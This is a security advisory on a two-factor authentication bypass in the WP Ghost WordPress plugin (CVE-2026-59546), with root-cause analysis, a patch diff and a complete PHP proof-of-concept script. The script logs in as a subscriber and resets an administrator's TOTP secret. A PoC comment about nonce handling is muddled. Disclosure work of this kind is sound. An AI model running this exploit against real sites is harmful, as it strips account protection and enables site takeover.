Published : August 12, 2026

CVE-2026-59546: WP Ghost (Hide My WP Ghost) – Security & Firewall <= 7.0.06 Two-Factor Authentication Bypass PoC, Patch Analysis & Rule

Plugin hide-my-wp
Severity Medium (CVSS 4.3)
CWE 287
Vulnerable Version 7.0.06
Patched Version 7.0.07
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59546:
The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress, up to and including version 7.0.06, contains a vulnerability that allows an authenticated attacker with Subscriber-level access or above to bypass Two-Factor Authentication (2FA). The flaw exists in the admin-ajax handler within the Twofactor controller, where the target user ID is taken directly from the request without verifying the current user’s permission to manage that account’s 2FA settings. Atomic Edge research assesses the severity as moderate, with a CVSS score of 4.3.

Root Cause:
The root cause lies in the ‘action()’ method of the HMWP_Controllers_Twofactor class, within the file ‘hide-my-wp/controllers/Twofactor.php’. Multiple case handlers, including ‘hmwp_2fa_method’, ‘hmwp_totp_submit’, ‘hmwp_totp_reset’, ‘hmwp_codes_generate’, ‘hmwp_email_submit’, ‘hmwp_email_reset’, and ‘hmwp_passkey_remove’, directly retrieved the ‘user_id’ parameter through HMWP_Classes_Tools::getValue( ‘user_id’ ) and passed it to actions like HMWP_Classes_Tools::saveUserMeta and service methods without any authorization check. The AJAX action is registered for all logged-in users. This lack of a permission check or ownership validation for the ‘user_id’ parameter is the core vulnerability, as it lets any authenticated user specify an arbitrary user ID to modify.

Exploitation:
An attacker who is logged-in with a Subscriber account can craft an AJAX request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to a vulnerable handler, such as ‘hmwp_totp_reset’, and supply a target admin’s user ID via the ‘user_id’ parameter. The server’s response would then process the request. For instance, to disable another user’s TOTP (Authenticator App) 2FA, the attacker could POST the parameters ‘action=hmwp_totp_reset’ and ‘user_id=’. The handler resets the TOTP secret without checking if the attacker has permission to do so. This would disable the TOTP factor for the victim, potentially allowing the attacker to then attempt to compromise the account through other means or setting up their own factor for interception. Other handlers, like ‘hmwp_email_reset’ or ‘hmwp_2fa_method’, can be similarly abused to manipulate or disable other 2FA methods for any user.

Patch Analysis:
The patch introduces a private method, ‘getTargetUserId()’, to sanitize and validate the user ID before use. This new function is called by all previously vulnerable handlers within the ‘action()’ method. The ‘getTargetUserId()’ function first checks if the supplied user ID exists. Then, it enforces an ownership check: if the provided user ID differs from the current user’s ID, it proceeds only if the current user has the ‘edit_user’ capability for that specific user ID, which is typically limited to administrators. For operations that are strictly self-service, like passkey enrollment (‘hmwp_passkey_submit’ and ‘hmwp_passkey_register’), the function is called with ‘self_only’ set to true, which rejects any request where the target user ID does not match the current user’s ID. This ensures that subscribers can only manage their own 2FA settings and cannot interact with the settings of other users.

Impact:
A successful exploit allows an authenticated user with Subscriber-level access to bypass the Two-Factor Authentication mechanisms of other users, including administrators. By resetting or altering the 2FA configuration of a target account, the attacker can remove the extra layer of security. This paves the way for further attacks, such as unauthorized access, privilege escalation to an administrator account, and complete compromise of the WordPress site, depending on the target’s permissions. The vulnerability directly undermines the security feature intended to protect accounts even if their passwords are compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/hide-my-wp/controllers/Templogin.php
+++ b/hide-my-wp/controllers/Templogin.php
@@ -255,11 +255,14 @@

 			case 'hmwp_templogin_update':
 				$data            = HMWP_Classes_Tools::getValue( 'hmwp_details', array() );
-				$data['user_id'] = HMWP_Classes_Tools::getValue( 'user_id', 0 );
+				$data['user_id'] = absint( HMWP_Classes_Tools::getValue( 'user_id', 0 ) );
 				HMWP_Classes_Error::clearErrors();

 				if ( $data['user_id'] == 0 ) {
 					HMWP_Classes_Error::setNotification( esc_html__( 'Could not detect the user', 'hide-my-wp' ), 'danger', false );
+				} elseif ( ! $this->model->isValidTempLogin( $data['user_id'] ) ) {
+					// This screen only manages temporary logins
+					HMWP_Classes_Error::setNotification( esc_html__( 'This user is not a temporary login.', 'hide-my-wp' ), 'danger', false );
 				}

 				if ( ! HMWP_Classes_Error::isError() ) {
@@ -297,7 +300,13 @@
 				break;

 			case 'hmwp_templogin_delete':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id', 0 );
+				$user_id = absint( HMWP_Classes_Tools::getValue( 'user_id', 0 ) );
+
+				// Only temporary logins may be deleted from this screen.
+				if ( ! $user_id || ! $this->model->isValidTempLogin( $user_id ) ) {
+					HMWP_Classes_Error::setNotification( esc_html__( 'User could not be deleted.', 'hide-my-wp' ), 'danger', false );
+					break;
+				}

 				//remove actions on remove_user_from_blog to avoid errors on other plugins
 				remove_all_actions( 'remove_user_from_blog' );
--- a/hide-my-wp/controllers/Twofactor.php
+++ b/hide-my-wp/controllers/Twofactor.php
@@ -357,6 +357,39 @@
 	}

 	/**
+	 * Resolve the target user ID for a 2FA management request.
+	 *
+	 * The user ID is supplied by the client, so it must never be trusted on its own.
+	 * A user may always manage their own second factor; managing somebody else's is
+	 * only allowed for users who can edit that account (administrators on the
+	 * user-edit profile screen). WordPress action nonces are not bound to a user ID,
+	 * so this ownership check is the only thing standing between a Subscriber and
+	 * another account's 2FA settings.
+	 *
+	 * @param bool $self_only Set to true for device-bound operations (passkeys) which
+	 *                        have no legitimate cross-user flow.
+	 *
+	 * @return int The validated user ID. Never returns when the request is rejected.
+	 */
+	private function getTargetUserId( $self_only = false ) {
+
+		$user_id     = (int) HMWP_Classes_Tools::getValue( 'user_id' );
+		$current_user = get_current_user_id();
+
+		if ( ! $user_id || ! get_user_by( 'ID', $user_id ) ) {
+			wp_send_json_error( esc_html__( 'Not authenticated.', 'hide-my-wp' ) );
+		}
+
+		if ( $user_id <> $current_user ) {
+			if ( $self_only || ! current_user_can( 'edit_user', $user_id ) ) {
+				wp_send_json_error( esc_html__( 'You are not allowed to change the two-factor settings for this user.', 'hide-my-wp' ) );
+			}
+		}
+
+		return $user_id;
+	}
+
+	/**
 	 * Login form validation.
 	 *
 	 * @return void
@@ -400,7 +433,7 @@
 				break;
 			case 'hmwp_2fa_method':

-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();
 				$method     = HMWP_Classes_Tools::getValue( 'method' );

 				HMWP_Classes_Tools::saveUserMeta('_hmwp_2fa_method', $method, $user_id);
@@ -409,7 +442,7 @@

 				break;
 			case 'hmwp_totp_submit':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();
 				$key     = HMWP_Classes_Tools::getValue( 'key' );
 				$code    = HMWP_Classes_Tools::getValue( 'authcode' );

@@ -430,7 +463,7 @@
 				}
 				break;
 			case 'hmwp_totp_reset':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();


 				/** @var HMWP_Models_Twofactor_Tftotp $twoFactorService */
@@ -452,7 +485,7 @@
 				}
 				break;
 			case 'hmwp_codes_generate':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();

 				/** @var HMWP_Models_Twofactor_Codes $codesService */
 				$codesService = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Twofactor_Codes' );
@@ -471,7 +504,7 @@
 				break;

 			case 'hmwp_email_submit':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();
 				$email   = HMWP_Classes_Tools::getValue( 'email' );

 				/** @var HMWP_Models_Twofactor_Email $emailService */
@@ -492,7 +525,7 @@
 				break;

 			case 'hmwp_email_reset':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();

 				/** @var HMWP_Models_Twofactor_Email $emailService */
 				$emailService = HMWP_Classes_ObjController::getClass( 'HMWP_Models_Twofactor_Email' );
@@ -512,7 +545,9 @@
 				break;

 			case 'hmwp_passkey_submit':
-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				// Passkey enrollment is bound to the authenticator in the caller's own
+				// browser, so it is always self-service - never on behalf of another user.
+				$user_id = $this->getTargetUserId( true );

 				if ( ! $user_id ) {
 					wp_send_json_error( esc_html__( 'Not authenticated.', 'hide-my-wp' ) );
@@ -532,7 +567,7 @@

 			case 'hmwp_passkey_register':

-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId( true );

 				if ( ! $user_id || ! isset( $_POST['credential'] ) ) { //phpcs:ignore
 					wp_send_json_error( esc_html__( 'Not authenticated.', 'hide-my-wp' ) );
@@ -552,7 +587,7 @@

 			case 'hmwp_passkey_remove':

-				$user_id = HMWP_Classes_Tools::getValue( 'user_id' );
+				$user_id = $this->getTargetUserId();
 				$id = HMWP_Classes_Tools::getValue( 'id' );

 				if ( ! $user_id ) {
--- a/hide-my-wp/controllers/Uniquelogin.php
+++ b/hide-my-wp/controllers/Uniquelogin.php
@@ -300,6 +300,13 @@
 	public function action() {
 		parent::action();

+		// If current user can't manage settings.
+		// This action mints a magic-login link for any account matching the posted
+		// email, so it must stay behind the same gate as the UI that exposes it.
+		if ( ! HMWP_Classes_Tools::userCan( HMWP_CAPABILITY ) ) {
+			return;
+		}
+
         if ( HMWP_Classes_Tools::getValue( 'action' ) == 'hmwp_uniquelogin_new' ) {
             $user_email = HMWP_Classes_Tools::getValue( 'user_email', false );

--- a/hide-my-wp/index.php
+++ b/hide-my-wp/index.php
@@ -6,7 +6,7 @@
   Plugin Name: WP Ghost Lite
   Plugin URI: https://wordpress.org/plugins/hide-my-wp/
   Description: Proactive WordPress Hack Prevention: Secure WP paths & login, firewall protection, brute force defense, 2FA, GEO security & bot blocking.
-  Version: 7.0.06
+  Version: 7.0.07
   Author: WP Ghost
   Company: MINBO QRE SRL
   Author URI: https://wpghost.com
@@ -24,10 +24,10 @@
 if ( ! defined( 'HMW_VERSION' ) ) {

 	//Set current plugin version
-	define( 'HMWP_VERSION', '7.0.06' );
+	define( 'HMWP_VERSION', '7.0.07' );

 	// Set the last stable version of the plugin
-	define( 'HMWP_STABLE_VERSION', '7.0.05' );
+	define( 'HMWP_STABLE_VERSION', '7.0.06' );

 	//Set the type of plugin
 	define( 'HMWP_CLASS_CTA', 'hmwp_pro' );
--- a/hide-my-wp/models/Templogin.php
+++ b/hide-my-wp/models/Templogin.php
@@ -212,13 +212,13 @@

 		$expire      = ! empty( $data['expire'] ) ? $data['expire'] : 'day';
 		$blog_id     = $data['blog_id'] ?? false;
-		$super_admin = $data['super_admin'] ?? false;
+		$super_admin = ( $data['super_admin'] ?? false ) && is_super_admin();
 		$password    = HMWP_Classes_Tools::generateRandomString();
 		$username    = $this->createUsername( $data );
 		$first_name  = isset( $data['first_name'] ) ? sanitize_text_field( $data['first_name'] ) : '';
 		$last_name   = isset( $data['last_name'] ) ? sanitize_text_field( $data['last_name'] ) : '';
 		$email       = isset( $data['user_email'] ) ? sanitize_email( $data['user_email'] ) : '';
-		$role        = ! empty( $data['user_role'] ) ? $data['user_role'] : 'subscriber';
+		$role        = $this->sanitizeRole( isset( $data['user_role'] ) ? $data['user_role'] : '' );
 		$redirect_to = ! empty( $data['redirect_to'] ) ? sanitize_text_field( $data['redirect_to'] ) : '';
 		$user_args   = array(
 			'first_name' => $first_name, 'last_name' => $last_name, 'user_login' => $username, 'user_pass' => $password,
@@ -417,11 +417,11 @@

 		$expire      = ! empty( $data['expire'] ) ? $data['expire'] : 'day';
 		$blog_id     = $data['blog_id'] ?? false;
-		$super_admin = $data['super_admin'] ?? false;
+		$super_admin = ( $data['super_admin'] ?? false ) && is_super_admin();
 		$first_name  = isset( $data['first_name'] ) ? sanitize_text_field( $data['first_name'] ) : '';
 		$last_name   = isset( $data['last_name'] ) ? sanitize_text_field( $data['last_name'] ) : '';
 		$redirect_to = isset( $data['redirect_to'] ) ? sanitize_text_field( $data['redirect_to'] ) : '';
-		$role        = ! empty( $data['user_role'] ) ? $data['user_role'] : 'subscriber';
+		$role        = $this->sanitizeRole( isset( $data['user_role'] ) ? $data['user_role'] : '' );
 		$user_args   = array(
 			'first_name' => $first_name, 'last_name' => $last_name, 'role' => $role, 'ID' => $data['user_id']
 		);
@@ -719,6 +719,66 @@
 	}

 	/**
+	 * Validate a requested role for a temporary login.
+	 *
+	 * The role arrives from the request, so it can name any role on the site -
+	 * including administrator. Granting a temporary login capabilities that the
+	 * user creating it does not hold would be a privilege escalation: the creator
+	 * gets the temporary login URL back and can sign in through it. So an unknown
+	 * role, or one that grants anything the current user lacks, falls back to the
+	 * role configured for temporary logins.
+	 *
+	 * @param string $role The requested role slug.
+	 *
+	 * @return string A role slug that is safe for the current user to assign.
+	 */
+	public function sanitizeRole( $role ) {
+
+		$default = HMWP_Classes_Tools::getOption( 'hmwp_templogin_role' );
+
+		if ( empty( $default ) || ! get_role( $default ) ) {
+			$default = 'subscriber';
+		}
+
+		$role = sanitize_text_field( $role );
+
+		if ( empty( $role ) ) {
+			return $default;
+		}
+
+		$role_object = get_role( $role );
+
+		if ( ! $role_object ) {
+			return $default;
+		}
+
+		// Super admins may assign anything.
+		if ( function_exists( 'is_super_admin' ) && is_super_admin() ) {
+			return $role;
+		}
+
+		$current_user = wp_get_current_user();
+
+		if ( ! $current_user || ! $current_user->exists() ) {
+			return $default;
+		}
+
+		// Compare against the caps the current user actually holds rather than
+		// current_user_can(), so that caps map_meta_cap() filters per-request
+		// (unfiltered_html on multisite, for one) don't wrongly reject a role
+		// the user legitimately owns.
+		$own_caps = (array) $current_user->allcaps;
+
+		foreach ( (array) $role_object->capabilities as $cap => $granted ) {
+			if ( $granted && empty( $own_caps[ $cap ] ) ) {
+				return $default;
+			}
+		}
+
+		return $role;
+	}
+
+	/**
 	 * Checks whether user is valid temporary user
 	 *
 	 * @param int $user_id

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59546 - WP Ghost (Hide My WP Ghost) – Security & Firewall <= 7.0.06 - Two-Factor Authentication Bypass

/**
 * Proof of Concept for CVE-2026-59546
 * 
 * This script demonstrates how an authenticated subscriber can reset the TOTP (2FA) secret
 * of an administrator user, effectively bypassing their 2FA protection.
 */

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Change this to the target site's URL
$subscriber_username = 'subscriber_username'; // Username of the low-privileged account (subscriber)
$subscriber_password = 'subscriber_password'; // Password for the subscriber account
$victim_user_id = 1; // User ID of the victim (e.g., an administrator) whose 2FA we want to reset

// --- Step 1: Authenticate as the subscriber ---
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Store cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as subscriber.n";

// --- Step 2: Find the AJAX nonce (optional if checks bypassed, but good practice) ---
// Note: Even if a nonce is checked, the getTargetUserId() function is called before the nonce check and
// wp_send_json_error() will exit, so a nonce is not strictly required for this vulnerability to be triggered.

// --- Step 3: Send the AJAX request to reset the victim's TOTP secret ---
// The AJAX action is 'hmwp_totp_reset'. We target the victim by setting the 'user_id' parameter.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'hmwp_totp_reset',
    'user_id' => $victim_user_id
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Send cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$ajax_response = curl_exec($ch);
curl_close($ch);

// --- Step 4: Analyze the response ---
$decoded_response = json_decode($ajax_response, true);
if (isset($decoded_response['success']) && $decoded_response['success'] === true) {
    echo "[+] TOTP 2FA secret reset for user ID: {$victim_user_id}n";
    echo "[+] 2FA Bypass successful! The victim's TOTP authentication is now disabled.n";
} else {
    echo "[-] The attack might have failed or a new version is installed.n";
    echo "[-] Raw response (may contain error details):n";
    echo $ajax_response;
}

// Clean up cookies file
@unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.